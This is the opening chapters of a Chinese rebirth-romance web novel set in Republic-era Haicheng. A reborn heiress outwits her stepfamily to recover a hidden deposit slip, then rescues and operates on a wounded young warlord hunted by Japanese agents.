《重生之少帅的掌心娇医》
第1章 雷雨夜的重生
“咳咳……咳咳咳……”
肺部像是被灌满了细碎的玻璃渣,每一次呼吸都伴随着撕裂般的剧痛。
沈晚清猛地睁开眼,入目是一片令人窒息的漆黑。耳边是轰隆隆的雷声,像是要把天穹撕裂。
她下意识地捂住胸口,那里本该因为晚期肺痨而干瘪凹陷,此刻却有着温热、有力的心跳。那股缠绕了她整整五年的死尸般的腐朽气味消失了,取而代之的是淡淡的檀木香,那是……她出嫁前闺房里特有的味道。
一道刺目的闪电划破夜空,透过雕花的窗棂,惨白的光瞬间照亮了屋内的一切。
红木梳妆台,西洋座钟,还有挂在衣架上那件尚未熨烫平整的大红喜服。
沈晚清浑身一颤,瞳孔剧烈收缩。
这不是海城城郊那间漏风的柴房,不是她被囚禁至死的地狱。
这是沈公馆。
她僵硬地转过头,看向西洋座钟旁的日历牌。
民国九年,五月十二日。
沈晚清死死盯着那个日期,指甲深深掐进掌心的软肉里,直到尖锐的刺痛感传来,她才敢确信——她回来了。
她重生回到了五年前,距离她嫁给那个道貌岸然的**子沈志远,还有整整三天。
前世的记忆如同潮水般涌来,几乎要将她溺毙。
前世,她是海城沈家流落在外的真千金,十六岁才被接回沈公馆。因为自卑怯懦,她对继母王氏言听计从,对继妹沈雨柔掏心掏肺。王氏说沈志远是留洋归来的才子,是良配,她便带着外祖父留下的巨额嫁妆嫁了过去。
可结果呢?
新婚之夜,沈志远借口“国家内忧外患,何以家为”,拿着她的嫁妆远赴法国留学,一去就是三年。她在沈家做牛做马,侍奉公婆,换来的却是他在国外与沈雨柔的双宿**。
三年后他归来,带回了摩登时尚的沈雨柔,还有一纸离婚书。他们说她是封建糟粕,配不上新时代的自由灵魂。他们夺走了她的嫁妆,将她关在阴暗潮湿的柴房里,让她染上肺痨,活活咳死在一个无人问津的冬夜。
临死前,沈雨柔穿着那件用她的嫁妆钱买来的巴黎高定洋装,居高临下地看着在草堆里苟延残喘的她,笑得花枝乱颤:
“姐姐,其实那笔钱不是父亲给你的,是你那个死鬼亲娘留给你的。可惜啊,你到死都不知道,那个被你当宝贝供着的古董花瓶里,藏着怎样的富贵。”
“还要谢谢姐姐,用你的命,铺就了我和志远的锦绣前程。”
那种恨意,深入骨髓,即便重活一世,依然让沈晚清浑身的血液都在逆流。
“沈志远,沈雨柔……”
她在黑暗中咀嚼着这两个名字,声音沙哑,却透着一股前世从未有过的森然寒意,“这一世,换我来向你们索命。”
窗外的雨越下越大,噼里啪啦地打在玻璃窗上,像极了无数冤魂的拍打。
沈晚清掀开丝绸锦被,赤着脚踩在冰冷的地板上。她走到梳妆台前,借着闪电的光,看着镜中的自己。
镜中的少女不过二十岁年纪,肌肤胜雪,眉眼如画。因为常年被刻意养在深闺,透着一股病态的苍白,但那双眼睛……
前世这双眼睛总是含着泪光,唯唯诺诺。而此刻,那双眸子深邃如寒潭,眼尾微微上挑,透着一股令人心惊的冷静与决绝。
她抬起手,看着自己纤细修长的手指。
前世她在柴房苟延残喘时,曾遇到一位避难的留洋老医生。老医生见她可怜,教了她许多西医知识。她极有天赋,短短两年便掌握了极其精湛的外科缝合术和药理知识。可惜那时候她身体已垮,那双手连拿针的力气都没有,只能眼睁睁看着自己在绝望中枯萎。
但现在,这双手稳健有力。
这双手,这一世不再用来绣花,不再用来伺候渣男一家。
它要拿手术刀。救该救之人,杀该死之鬼。
“咚、咚、咚。”
门外忽然传来一阵急促的敲门声,在这雷雨夜里显得格外突兀。
“大小姐?大小姐您醒了吗?”
是继母王氏身边的贴身女佣,吴妈。声音听似恭敬,实则透着一股子不耐烦。
沈晚清眼神一冷,迅速调整了呼吸,让声音听起来带着刚睡醒的慵懒和一丝怯弱:“是吴妈吗?这么晚了……”
“大小姐,太太让我来看看那对‘粉彩九桃天球瓶’。那是给您准备的压箱底嫁妆,太太怕下雨潮气重,让把它收进樟木箱子里,免得受了潮气。”
吴妈在门外催促着。
沈晚清嘴角勾起一抹讥讽的冷笑。
怕受潮?这就是个笑话。瓷器什么时候怕过潮气?
王氏这么急着要在半夜把花瓶收走,根本不是为了保护嫁妆,而是因为沈志远那个渣男明天一早就要来看嫁妆单子了!
前世,就是在这个晚上,吴妈抱走了这对花瓶。沈晚清当时不懂,傻乎乎地让人拿走了。后来才知道,这对花瓶是母亲留下的遗物中价值连城的古董,而更重要的是,其中一只花瓶的夹层里,藏着母亲留给她的真正底牌——一张瑞士银行的巨额存单!
前世这对花瓶被沈志远拿去变卖,换了他在法国挥霍无度的资本,而那张存单,估计也被他们发现,成了沈雨柔炫耀的资本。
“大小姐?您开开门啊!”吴妈的声音提高了几分,显然是想硬闯。
沈晚清深吸一口气,目光落在房间角落的多宝格上。
那里摆放着一对精美绝伦的粉彩九桃天球瓶,在昏暗的光线下散发着温润的光泽。那是母亲留给她的,是她在这个**的沈家唯一的依靠。
她绝不会再让这些东西落入仇人手中。
沈晚清几步走到多宝格前,伸手抚摸着冰凉的瓷面。她的手指在瓶颈处轻轻摩挲,果然,在右边那只花瓶的内壁,摸到了一处极其细微的凸起。
如果不仔细摸,根本发现不了。
门外的敲门声变成了拍门声:“大小姐!您要是再不开门,我可叫人拿钥匙了!太太说了,这嫁妆金贵……”
“知道了,我这就来。”
沈晚清淡淡地应了一声。
她双手抱起那只藏着秘密的花瓶,感受着那沉甸甸的重量。
这哪里是花瓶,这是她逆天改命的资本,是她在乱世立足的基石。
如果现在交给吴妈,或是明天当着众人的面带走,难保不会被王氏那个精明的女人看出端倪。沈家上下全是王氏的眼线,她现在孤身一人,硬抢是抢不过的。
既然带不走完整的,那就让它“碎”得有价值。
沈晚清眼底闪过一丝狠戾。
她举起价值连城的古董花瓶,没有丝毫犹豫,在这个雷声滚滚的深夜,狠狠地砸向了地面!
“哐当——!!!”
清脆的瓷器碎裂声,在寂静的深夜里如同炸雷般刺耳,甚至盖过了窗外的雷声。
门外的拍门声戛然而止。
紧接着是一声尖叫:“大小姐!怎么了?!”
沈晚清没有理会门外的动静。她迅速蹲下身,在一地的碎瓷片中翻找。
果然,在厚实的瓶底碎片之间,有一个巧妙的夹层。
一个用油纸层层包裹的小方块掉了出来。
沈晚清心中狂跳,飞快地捡起油纸包,塞进自己贴身的丝绸睡衣里,紧紧贴着胸口。那一瞬间,她感觉到了前所未有的踏实。
这是母亲留给她的,谁也抢不走。
就在她藏好东西的瞬间,房门被“砰”地一声撞开。
吴妈带着两个粗使丫头冲了进来,手里提着马灯。
昏黄的灯光照亮了满地的狼藉。
原本精美绝伦的粉彩九桃天球瓶,此刻已经变成了一堆毫无价值的碎片。
“哎哟!我的天老爷啊!”
吴妈看到地上的碎片,眼珠子都要瞪出来了,那一瞬间的心疼简直比**亲娘还难受,“这……这可是宋朝的物件啊!这可是太太特意叮嘱要给姑爷带去的……大小姐,您这是遭了什么孽啊!”
她心疼的不是花瓶,是没法向王氏和沈志远交代!这花瓶若是卖了,能值多少大黄鱼啊!
看着吴妈那副如丧考妣的模样,沈晚清缓缓站直了身体。
她依然赤着脚,踩在碎瓷片边,素白的睡衣在风中微微飘动。此时的
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她,脸上早已没有了刚才的冷厉,取而代之的是一种恰到好处的惊慌失措,还有一丝……病弱的苍白。
“吴妈……”
沈晚清瑟缩了一下肩膀,声音带着颤抖的哭腔,“刚才打雷,吓死我了……我本来想去看看花瓶,结果手一滑……我是不是闯祸了?”
她低下头,长长的睫毛遮住了眼底一闪而过的寒光。
演戏?谁不会。
前世她在沈家为了活命,演了三年的顺从贤惠,这一世,她的演技只会更精湛。
吴妈气得浑身发抖,指着沈晚清的鼻子想骂,却又碍于身份不敢太放肆。毕竟这还是名义上的沈家大小姐,过几天就要嫁给沈志远了。
“手滑?这么贵重的东西,您一句手滑就完了?”吴妈咬牙切齿,眼神阴毒地在房间里扫视了一圈,“大小姐,您这让我怎么跟太太交代?这可是老爷的脸面!”
“那我……我去跟父亲说,是我不小心的。”沈晚清显得更加无助,身体摇摇欲坠,仿佛随时会晕倒,“那……那另一个花瓶,你们快拿走吧,我怕我笨手笨脚又给摔了。”
她指了指多宝格上剩下的那只花瓶。
那是只赝品。
前世母亲曾告诉过她,这对花瓶一真一假。王氏不识货,只当一对都是宝贝。
吴妈一听这话,生怕沈晚清再发疯把另一只也砸了,连忙指挥身后的丫头:“还愣着干什么!快把那个好的抱走!这要是再碎了,把你们卖了都赔不起!”
两个丫头手忙脚乱地抱起剩下的那只花瓶,像逃难一样往外跑。
吴妈狠狠瞪了沈晚清一眼,那眼神仿佛在看一个败家子废物:“大小姐,您就等着明天太太问罪吧!这地上的碎片,您自己收拾!”
说完,她提着马灯,气冲冲地走了,连门都没帮沈晚清关上。
随着脚步声远去,走廊重新恢复了寂静。
沈晚清站在原地,听着窗外的风雨声,脸上怯懦的表情一点点褪去,最后化作一片冰冷的漠然。
她慢慢蹲下身,捡起一块锋利的瓷片。
指尖用力,锐利的瓷锋划破了指腹,渗出一滴殷红的血珠。
疼痛让她感到清醒,感到真实。
“问罪?”
沈晚清看着指尖的血,低声轻笑,笑声在空荡荡的房间里显得有些诡谲。
“正好,我也有一笔账,要跟你们好好算算。”
她从怀里掏出那个油纸包,小心翼翼地拆开。里面是一本泛黄的存单,上面印着花旗银行的徽章,以及一串令人咋舌的数字。
这笔钱,足够在海城买下半条街,足够建立一座现代化的医院,也足够……**。
沈晚清将存单贴身收好,目光投向窗外漆黑的夜幕。
雨幕深处,是繁华奢靡又危机四伏的海城十里洋场。而在那无尽的黑暗中,似乎有一双眼睛正在注视着这里。
既然老天让她重活一次,还给了她这双能起死回生的手,那她就不做那任人宰割的羔羊。
她要做这乱世里的一把刀。
谁若挡她,她便杀谁。
沈晚清走到窗前,任由冰冷的雨丝飘落在脸上。她遥望着北方——那个充满了硝烟与铁血的方向。
如果记忆没错,今晚的海城并不太平。
一场针对北方那位“活阎王”的追杀,正在这雷雨夜的掩护下悄然拉开序幕。
而前世的这个时候,她正在这里绣嫁妆,对外面的腥风血雨一无所知。
“陆淮锦……”
沈晚清喃喃念出这个名字。
前世,这个名字代表着北方至高无上的权力,代表着嗜血与征服。他是令人闻风丧胆的少帅,是后来统一北方的霸主。
而这一世,他们的命运,将在今晚产生交集。
沈晚清转过身,从抽屉里取出一把锋利的剪刀,那是她平日里做女红用的。她试了试锋刃,寒光凛冽。
“沈志远,既然你要这嫁妆,那我便给你一份‘大礼’。”
她走到那件挂在衣架上、价值不菲的大红喜服前,手中的剪刀毫不犹豫地刺了下去。
裂锦之声,在雷雨夜中,清晰可闻。
第2章 雨巷中的血腥味
凌晨两点,海城的暴雨不仅没有停歇的迹象,反而越下越疯魔。
沈公馆的后门,一道纤细的身影借着雷声的掩护,悄无声息地闪了出来。
沈晚清穿着一身并不显眼的深灰色旧袄裙,那是吴妈淘汰下来的旧衣裳,头上裹着一块厚实的黑头巾,只露出一双警惕的眼睛。她怀里紧紧揣着那张存单和几块用来应急的银元,脚下的布鞋很快就被泥水浸透,冰冷刺骨。
但她毫不在意。
相比于前世在柴房里那种深入骨髓的寒冷,这点湿意根本算不了什么。
她必须抓紧时间。沈家虽然门禁森严,但守后门的那个老李是个酒鬼,逢雷雨天必喝得烂醉如泥。她只有今晚这个空档,能在沈志远明天来查账之前,去一趟“鬼市”。
海城的“鬼市”位于华界与法租界交汇的三不管地带,那里鱼龙混杂,只要有钱,连洋人的**都能买到,更别说她需要的东西。
街上空无一人,只有巡捕房的探照灯偶尔扫过积水的路面。沈晚清低着头,尽量贴着墙根走,避开那些光亮。
约莫走了四十分钟,空气中开始弥漫着一股混杂着劣质烟草、发霉潮气和生煎包香味的奇怪味道。
鬼市到了。
哪怕是暴雨天,这里依然有人。几个穿着黑色短打的汉子蹲在屋檐下抽旱烟,眼神像鹰一样盯着每一个闯入者。
沈晚清压低了帽檐,熟门熟路地拐进了一条狭窄的巷弄。前世她为了给沈志远治病,曾偷偷来过这里买药,对这里的门道并不陌生。
她在一家挂着“回春堂”旧招牌的铺子前停下,有节奏地敲了三下门板:两长一短。
片刻后,门板卸开一条缝,露出一张满是褶子的老脸。
“要什么?”
“一套西医用的刀具。要德国索林根产的,最好的钢口。”沈晚清刻意压低了嗓音,听起来像个上了年纪的女佣。
那掌柜的浑浊眼珠转了转,上下打量了她一眼:“那玩意儿是**,只有洋行有,我这儿……”
沈晚清没废话,直接从怀里摸出两块大洋,“叮”地一声弹进门缝里。
“定金。货好,再加三块。”
掌柜的眼睛瞬间亮了。这年头,五块大洋够普通人家嚼用两个月了。他不再多问,伸手把沈晚清让了进去。
一盏昏暗的煤油灯下,沈晚清打开了掌柜递过来的黑皮箱。
里面整整齐齐码放着一套泛着冷光的手术器械:柳叶刀、止血钳、持针器、探针……虽然不是全新的,但保养得极好,刀刃在灯光下闪烁着嗜血的寒芒。
沈晚清伸出手指,轻轻抚摸过那冰冷的金属触感。
久违了。
前世,在那位留洋老医生的指导下,她曾无数次在南瓜皮和猪肉上练习缝合。那时候她以为这只是打发绝望时光的游戏,却没想到,这成了她今生安身立命的根本。
“还要两卷羊肠线,一瓶碘伏,两卷纱布。”沈晚清迅速检查完,啪地合上箱子。
“好勒!您稍等。”
交易很顺利。沈晚清把装满器械的皮箱用一块破布包好,紧紧抱在怀里,转身消失在雨幕中。
有了这些,明天哪怕是被赶出沈家,她也能凭手艺活下去。甚至,她可以用这些工具,一点点割开沈家那些人的伪装。
心情稍定,她的脚步也轻快了几分。
回去的路,她特意选了一条更僻静的弄堂,那是法租界的一条废弃排污道附近,平时连野狗都不愿意来,胜在安全隐蔽。
然而,当她走到弄堂深处时,脚步猛地顿住了。
雨还在下,哗啦啦地冲刷着青石板路。
但在那浓重的雨腥味中,沈晚清灵敏的鼻子捕捉到了一丝不寻常的气息。
是血味。
很浓烈、很新鲜的铁锈味,甚至盖过了下水道的臭气。
沈晚清心头一跳,本能地想要后退。
在这乱世的深夜,遇见血腥味通常只意味着两件事:帮派火拼,或者**暗杀。无论哪一种,都不是她这个刚刚重生、毫无根基的弱女子能掺和的。
“别多管闲事,活下去最重要。”她在心里告诫自己,屏住呼吸,贴着墙根准备原路返回。
就在她转身的一刹那,一道闪电撕裂苍穹。
惨白的电光瞬间照亮了弄堂尽头的角落。
那里堆放着几个破旧的箩筐,而在箩筐旁边的阴影里,竟然靠坐着一个人!
那人一身戎装几乎与夜色融为一体,但大腿和腹部的位置,深色的液体正汩汩涌出,顺着雨水蜿蜒而下,染红了一大片积水。
他垂着头,不知是死是活,手里却死死攥着一样东西。
闪电稍纵即逝,世界重归黑暗。
沈晚清的瞳孔剧烈收缩。
那身军装的制式……不是海城的巡捕,也不是租界的洋兵,而是北方军阀特有的灰绿色呢子军服!
北方军阀的人,怎么会出现在海城?
还没等她细想,一阵凌乱且沉重的脚步声突然从弄堂另一头传来,伴随着几句压低的日语喝骂声。
“八嘎!他受了重伤,跑不远!”
“搜!一定要拿到那份名单!”
日本人?
沈晚清浑身一僵。前世的记忆再次攻击了她——民国九年五月,海城发生过一件大事,北方奉系军阀的一位大人物秘密南下,在租界**,引发了后来长达半年的南北对峙。
难道……
她下意识地看向那个角落。如果那人真是抵抗日本人的军人,那她……
就在她犹豫的这零点几秒,那个原本仿佛死尸一般的男人,突然动了。
他就像一头在黑暗中蛰伏已久的孤狼,明明已经重伤濒死,爆发力却惊人得可怕。
沈晚清甚至没看清他是怎么动作的,只觉得眼前一花,一股浓烈的血腥气扑面而来。紧接着,一只滚烫如烙铁的大手,死死扣住了她的手腕!
“唔——”
沈晚清刚要惊呼,就被一股巨大的力量狠狠拽进了那个阴暗的角落,后背重重撞在湿漉漉的青砖墙上。
一把冰冷坚硬的东西,抵在了她的下颌骨处。
那是**。
“别动。”
男人的声音极低,沙哑得像是在砂纸上磨过,却透着一股不容置疑的威压,“叫出声,就崩了你。”
沈晚清被迫仰起头,借着微弱的光线,她终于看清了这个男人的脸。
即便满脸血污,雨水顺着他凌厉的下颌线滴落,也掩盖不住那张脸带来的视觉冲击力。
剑眉入鬓,鼻梁高挺,薄唇紧紧抿成一条直线。最可怕的是那双眼睛——狭长、深邃,透着一股近乎疯狂的狠戾和杀气,此时因为失血过多而布满了红血丝,却亮得吓人。
陆淮锦。
那个未来将整个北方踩在脚下、让无数名媛趋之若鹜却又闻风丧胆的“活阎王”。
沈晚清的心脏狂跳,几乎要撞破胸膛。她怎么也没想到,重生第一天,她就撞进了这尊煞神的怀里!
前世她只在报纸上见过他的照片,而**比照片上更具压迫感,那种从尸山血海里爬出来的煞气,让人本能地战栗。
此时,两人的距离极近。
沈晚清甚至能感受到他急促滚烫的呼吸喷洒在自己的颈侧,也能感觉到他抵着自己身体的胸膛正在剧烈起伏——他在强撑。
他的手劲大得惊人,沈晚清觉得自己的手腕快要被捏碎了。
“放……放开……”她艰难地从喉咙里挤出两个字,尽量让自己看起来像个被吓坏的路人,而不是什么可疑分子。
陆淮锦盯着眼前这个只露出一双眼睛的女人。
他现在的状态极差。腹部中了一枪,大腿被划了一刀,失血让他眼前阵阵发黑。如果不是意志力惊人,他早就倒下了。
追杀他的日本浪人就在几十米外,他现在的枪里只剩下一颗**。
在这个时候出现在这种鬼地方的女人,要么是眼线,要么是倒霉鬼。
不管是哪种,他现在都需要一个掩护。
“帮我。”
陆淮锦的声音低沉,带着一丝命令的口吻,握着枪的手却没有丝毫松动,“引开他们,或者,死。”
沈晚清在心里骂了一句疯子。
这哪里是求救,分明是劫持。
此时,弄堂口的脚步声越来越近,手电筒的光束像鬼火一样在墙壁上乱晃。
“那边!那边好像有动静!”一个公鸭嗓喊道。
陆淮锦的眼神瞬间变得如刀锋般锐利,扣在**上的手指微微收紧。
沈晚清知道,这个男人绝对干得出来**灭口的事。前世传闻陆少帅杀伐果断,宁可错杀一千,绝不放过一个。
生死一线间,沈晚清脑中飞速运转。
如果不救他,自己会被当成目击者被日本人杀掉,或者被这个疯子拉做垫背。
如果救他……这是一场豪赌。赌赢了,她就攀上了这棵未来最大的大树;赌输了,万劫不复。
但她沈晚清既然重生了,命就只能握在自己手里!
她深吸一口气,强迫自己冷静下来。她没有挣扎,反而迎着陆淮锦**般的目光,声音出奇地镇定:
“你的枪里应该没几颗**了吧?少帅。”
听到“少帅”二字,陆淮锦瞳孔猛地一缩,枪口用力往上顶了顶,杀意暴涨:“你认识我?”
“我不认识你,但我认识这身衣服。”沈晚清语速极快,声音压得极低,“想活命就听我的。我有办法让他们滚,但你得先把枪放下,否则我们都得死。”
陆淮锦眯起眼睛,审视着这个在枪口下不仅没有吓尿裤子,反而敢跟他谈条件的女人。
她的眼睛……很亮,像寒夜里的星子,没有恐惧,只有一种令人看不懂的算计和冷静。
脚步声已经到了弄堂口。
“搜!这箱子后面!”
陆淮锦咬了咬牙,那是野兽在此刻做出的直觉判断。他缓缓垂下了枪口,但
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另一只手依然死死扣着她的脉门。
“你最好别耍花样。”
沈晚清没有理会他的威胁。她迅速伸手,一把扯开了陆淮锦染血的衣领,露出了里面结实的胸膛。
陆淮锦浑身一僵,刚要动手,就见这个女人又飞快地解开了她自己领口的盘扣,露出了里面一截雪白细腻的锁骨和粉色的肚兜边缘。
紧接着,她从怀里的皮箱中摸出一瓶刚买的碘伏,毫不犹豫地往地上一摔。
“啪!”
玻璃瓶碎裂,刺鼻的药水味瞬间弥漫开来,混合着血腥味,制造出一种古怪而浓烈的气味。
做完这一切,她反手搂住陆淮锦的脖子,将脸埋进他的颈窝,用一种足以让外面人听到的声音,尖利地叫骂起来:
“你个死鬼!没钱还要来这种地方嫖!喝了点马尿就不知道自己姓什么了是吧?你要死也别死在老娘身上啊!滚开!臭**!”
她的声音充满了市井泼妇的刁钻和风尘女子的浪荡,与刚才冷静理智的样子判若两人。
陆淮锦愣住了。
还没等他反应过来,沈晚清已经借着动作的掩护,将他那把枪塞回了他的腰间,然后整个人压在他身上,制造出一副在暗巷中拉扯厮打、行苟且之事的假象。
弄堂口的几个日本浪人被这突如其来的叫骂声弄得一愣。
几道手电筒的光束直直地射了过来。
光柱下,只见一堆破箩筐后面,一对衣衫不整的男女正纠缠在一起。女人披头散发,露出大片雪白的肌肤,正骑在男人身上又抓又挠;男人一身酒气和血气,似乎醉得不省人事,瘫软在地上。
“怎么回事?”领头的浪人警惕地举着刀走近了几步。
沈晚清猛地转过头,凌乱的发丝遮住了大半张脸,只露出一张涂得猩红的嘴,冲着那手电筒的光恶狠狠地骂道:
“看什么看!没见过打架啊?这死鬼欠了赌债被人砍了还要来找老娘晦气!滚!都给老娘滚!”
她一边骂,一边随手抓起手边的破鞋朝那光亮处扔了过去。
那一股子混杂着碘伏、血腥和所谓“酒气”的味道熏得那浪人皱了皱眉。
“大哥,好像是个窑姐儿和个醉鬼赌徒。”旁边的小弟捂着鼻子说道,“这男的身上有血味,估计是刚跟人斗殴完。”
“晦气。”领头的浪人嫌恶地看了一眼那泥泞不堪的角落和那个泼辣的疯女人,又看了看毫无动静的男人,“走,去那边看看,那家伙受了枪伤,跑不快的。”
几道光束在他们身上停留了几秒,终于移开了。
脚步声渐渐远去,直到彻底消失在雨声中。
沈晚清一直紧绷的身体这才猛地松懈下来。她像是脱力一般,从陆淮锦身上滑落,大口大口地喘着气。
刚才那短短一分钟,耗尽了她所有的演技和勇气。
她低头整理了一下凌乱的衣襟,正准备起身离开这个是非之地。
“戏演得不错。”
一道幽冷的声音从下方传来。
沈晚清动作一顿。
只见陆淮锦不知何时已经睁开了眼。那双原本充满杀意的眸子,此刻正带着一种意味深长的探究,死死盯着她。
虽然脸色苍白如纸,但他周身的气场依然强大得令人窒息。
“既然救了,就救到底。”陆淮锦看着她,目光落在她怀里那个露出一角的黑色皮箱上,嘴角勾起一抹似笑非笑的弧度,“你有这些东西,是个大夫吧?”
沈晚清心中警铃大作。
她刚才为了掩饰血腥味摔了碘伏,又为了演戏暴露了皮箱。这个男人的观察力简直敏锐得可怕。
“我只是个路过的。”沈晚清冷冷道,抱起皮箱转身欲走,“少帅既然脱险了,就自求多福吧。”
“我不喜欢欠人情,也不喜欢被人知道行踪。”
陆淮锦的声音在她身后幽幽响起,伴随着**上膛的清脆声响,“咔哒”。
“要么,把我治好,我给你想要的一切。”
“要么,我现在就让你永远闭嘴。”
沈晚清停下脚步,背对着他,深深闭上了眼睛。
果然是强取豪夺的疯狗。
但她沈晚清,最擅长的就是驯兽。
她缓缓转过身,居高临下地看着这个掌握着她生死的男人。一道闪电划过,照亮了她手中不知何时出现的一把寒光闪闪的柳叶刀。
“少帅,这可是你求我的。”
沈晚清蹲下身,将柳叶刀在他染血的军装上轻轻拍了拍,嘴角扬起一抹与刚才截然不同的、属于外科医生的自信与冷傲。
“我的诊金,可是很贵的。”
陆淮锦看着那把在他喉结处比划的手术刀,非但没有生气,反而低低地笑了一声,眼里闪过一丝看到猎物的兴奋。
“只要我有,只要你要。”
雨越下越大,将两人的身影彻底吞没在这条阴暗的巷弄里。
这是他们的初遇。
始于鲜血,终于纠缠。
第3章 没有麻药的手术
雨势丝毫没有减弱的迹象,反而像是要把这座罪恶之城彻底淹没。
离那条巷弄几百米外,有一处荒废已久的土地庙。半扇庙门早已朽烂,屋顶漏雨,神像更是缺胳膊少腿,结满了蛛网。
“哐当”一声,沈晚清一脚踹开虚掩的破门,架着身形高大的陆淮锦跌跌撞撞地闯了进去。
这一路走来,简直比她前世做十台大手术还要累。
陆淮锦虽然意识尚存,但大半个身体的重量都压在她身上。男人的体温高得吓人,那是伤口感染引发高烧的前兆。
“把他放下。”沈晚清在心里对自己说。她找了一处稍微干燥些的草垛,想把人放下。
谁知陆淮锦的手指依然死死扣着她的手腕,力道大得像是铁钳。
“松手。”沈晚清冷冷道,“你要是想因为失血过多死在这儿,就继续抓着。”
陆淮锦靠在草垛上,那张俊美无俦的脸此刻惨白如鬼魅,唯有那双眼睛,在黑暗中亮得逼人。他盯着沈晚清看了两秒,似乎在评估这个女人的可信度,最终,手指缓缓松开。
沈晚清没空理会他的审视。她迅速将那箱手术器械放在一旁的破供桌上,又从角落里找来几块还算干燥的烂木头,用随身带着的火柴升起了一堆火。
火光跳跃,驱散了些许阴冷。
借着火光,沈晚清终于看清了陆淮锦的伤势。
触目惊心。
腹部左侧有一个血肉模糊的弹孔,黑红色的血还在不断往外涌,染透了那身灰绿色的军装。大腿外侧还有一道深可见骨的刀伤,皮肉外翻,看起来狰狞可怖。
如果是普通的郎中看到这一幕,恐怕早就吓得手抖了。
但沈晚清的神色却在这一瞬间沉静了下来。
她不再是那个沈家唯唯诺诺的大小姐,也不是刚才巷子里泼辣的市井妇人。此时此刻,她是一个医生。
“把衣服脱了。”沈晚清打开皮箱,头也不回地命令道。
陆淮锦挑了挑眉。长这么大,除了他那个死去的娘,还没哪个女人敢这么命令他。但他什么也没说,咬着牙,单手解开了被血浸透的军装扣子。
湿冷的衣物剥离身体,露出精壮结实的胸膛和腹肌。即便受了重伤,他的肌肉依然紧绷,充满了爆发力。只是那伤口处的血肉模糊破坏了这份美感。
沈晚清带上自制的简易口罩,手里拿着那瓶买碘伏时顺手买的最便宜的烧刀子。
她走到陆淮锦面前,居高临下地看着他,眼神冷漠如冰。
“少帅,我要告诉你两个坏消息。”
她的声音很平稳,听不出丝毫情绪波澜,“第一,**卡在腹腔里,必须马上取出来,否则你会死于腹膜炎或者败血症。第二,我这里没有麻药。”
在1920年,虽然西方已经有了**和**,但在这种荒郊野岭的黑市边缘,根本不可能弄到。
“没有麻药?”陆淮锦靠在稻草上,因为剧痛,他的额头上布满了细密的冷汗,但他竟然扯着嘴角笑了一下,笑容里带着几分狂妄,“怎么,怕我疼死?”
“我是怕你疼得乱动,我的刀划破你的大动脉。”
沈晚清从皮箱里取出一把柳叶刀,在火上烤了烤。火苗舔舐着刀刃,映照出她眼底的寒光。
“我会把你绑起来。”
“不用。”陆淮锦吐出两个字,盯着她手中的刀,“你尽管动手。老子要是哼一声,这少帅的位置让给你坐。”
真是个疯子。
沈晚清在心里评价道。
既然病人自己找虐,她也乐得省事。
“含着这个。”沈晚清递过去一块干净的软木。
陆淮锦偏头避开,眼神轻蔑:“不需要。”
沈晚清也不勉强,将软木扔回箱子。她拿起那瓶烈酒,拧开盖子,“忍着点,消毒。”
话音未落,半瓶烈酒直接倾倒在那狰狞的伤口上。
“滋——”
虽然没有声音,但那种烈酒灼烧生肉的剧痛,足以让任何铁打的汉子崩溃。
陆淮锦的身体猛地绷紧,脖颈上的青筋根根暴起,宛如虬龙。他的脸色瞬间从惨白变成了青灰,牙关紧咬,腮帮的肌肉剧烈颤抖。
但他真的没有哼一声。
他死死盯着沈晚清。
这个女人……太狠了。
普通的女人见到血早就尖叫晕倒了,可她倒酒的手连抖都没抖一下,眼神专注得像是在欣赏一件艺术品。
清理完血污,真正的考验来了。
沈晚清手持柳叶刀,左手按住伤口周围的皮肤,右手稳准狠地切了下去!
这一刀,是为了扩创,以便取出深处的弹头。
刀锋划破皮肉的声音,在寂静的破庙里清晰可闻。
陆淮锦的瞳孔瞬间放大,呼吸猛地停滞了一瞬。那是一种灵魂都要被撕裂的痛楚。他的双手死死抓着身下的稻草,指节因为用力过度而泛白,甚至发出了骨骼摩擦的声响。
但他依然睁着眼,死死锁住沈晚清的脸。
他要看清这个女人。
在这个雷雨交加的夜晚,在这个充满霉味的破庙里,她是唯一的亮色。她低垂着眉眼,几缕发丝垂在耳侧,专注的神情竟然透着一种神圣不可侵犯的美。
而她手里那把沾血的刀,就是她权杖。
“找到了。”
沈晚清低语一声。
她的探针触碰到了坚硬的金属。接下来是最痛的一步。
她换上了镊子,探入那血肉模糊的伤口中,在那敏感紧绷的肌肉深处,一点点地、强行将那颗嵌入骨缝边缘的**剥离出来。
“唔……”
陆淮锦终于忍不住,喉咙里溢出一声压抑到极致的闷哼。
他的眼前阵阵发黑,冷汗如瀑布般落下,瞬间浸湿了身下的稻草。这种在清醒状态下被人“开膛破肚”的感觉,简直是地狱般的酷刑。
“快了,别动。”
沈晚清的声音依旧冷硬,但手下的动作却加快了几分。
“叮!”
一声清脆的金属撞击声。
一颗变形的铜黄色弹头被扔进了搪瓷盘里,裹挟着黑红的血丝。
陆淮锦在那一瞬间,仿佛卸去了千斤重担,整个人虚脱地瘫软下来,大口大口地喘着粗气,胸膛剧烈起伏。
“命保住了。”
沈晚清没有停歇,立刻开始止血。
接下来的步骤,才是真正让陆淮锦感到震惊的。
他见识过军医处理伤口,大多是简单粗暴地裹上纱布,或者像缝麻袋一样胡乱缝几针。
但沈晚清不同。
她拿起持针器,穿着极细的羊肠线,开始缝合。
她的动作行云流水,优雅得像是在绣一幅最精美的苏绣。
第一层,缝合腹膜。第二层,缝合肌肉。第三层,缝合皮肤。
每一针的间距都精准得仿佛用尺子量过,打结的手法娴熟而利落。
这种“分层缝合”的技术,在这个时代的国内西医界都极其罕见,更别说是一个看起来养尊处优的大小姐。
陆淮锦虽然不懂医术,但他看得出好坏。
他看着那一根细线在她指尖穿梭,原本狰狞外翻的伤口,在她手下渐渐平复,最后变成了一条整齐的蜈蚣状伤疤。
甚至……不难看。
“好了。”
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>沈晚清剪断线头,再次用酒精棉擦拭了一遍伤口周围,然后熟练地包扎上纱布。
处理完腹部的枪伤,腿上的刀伤就显得小儿科了。沈晚清只用了十分钟就处理完毕。
做完这一切,她才感觉到浑身脱力。
高强度的精神集中,加上之前的奔波,让她的体力透支到了极限。她瘫坐在地上,摘下口罩,长长地吐出一口浊气。
此时,外面的雷声不知何时已经停了,雨势也渐渐变小。
破庙里陷入了一种诡异的安静。
只剩下火堆燃烧偶尔发出的噼啪声。
“你叫什么名字?”
陆淮锦的声音打破了沉默。虽然依旧虚弱沙哑,但那股子上位者的压迫感又回来了。
他侧过头,看着坐在火堆旁的女人。火光映在她的脸上,给她苍白的脸色镀上了一层暖色。
